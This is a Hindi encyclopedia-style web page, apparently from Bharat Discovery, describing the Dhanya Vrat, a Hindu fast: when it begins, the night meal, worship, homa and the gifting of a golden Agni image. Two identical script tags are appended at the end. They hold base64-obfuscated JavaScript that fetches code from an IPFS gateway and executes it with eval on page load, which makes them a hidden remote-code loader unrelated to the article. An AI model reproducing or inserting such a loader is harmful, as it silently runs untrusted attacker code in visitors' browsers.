एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

धन्य व्रत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • मार्गशीर्ष शुक्ल पक्ष की प्रतिपदा को यह व्रत आरम्भ होता है।
  • उस दिन नक्त (एक बार रात्रि में भोजन) और रात्रि में विष्णुमूर्ति (अग्नि के अनुरूप) की पूजा की जाती है।
  • इसके सामने बने कुण्ड में होम किया जाता है।
  • घृत के साथ यावक एवं भोजन का ग्रहण किया जाता है।
  • यही कृत्य कृष्ण पक्ष में भी किया जाता है।
  • चैत्र से लेकर आठ मासों तक यह व्रत किया जाता है।
  • व्रत के अन्त में अग्नि की स्वर्णिम प्रतिमा का दान दिया जाता है।
  • यहाँ तक की अभागा व्यक्ति भी सुख, सम्पत्ति एवं भोजन से युक्त एवं पापमुक्त हो जाता है।
  • कृत्यकल्पतरु[1] ने इसे धन्यप्रतिपदा कहा है।


टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रतखण्ड 38-40

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>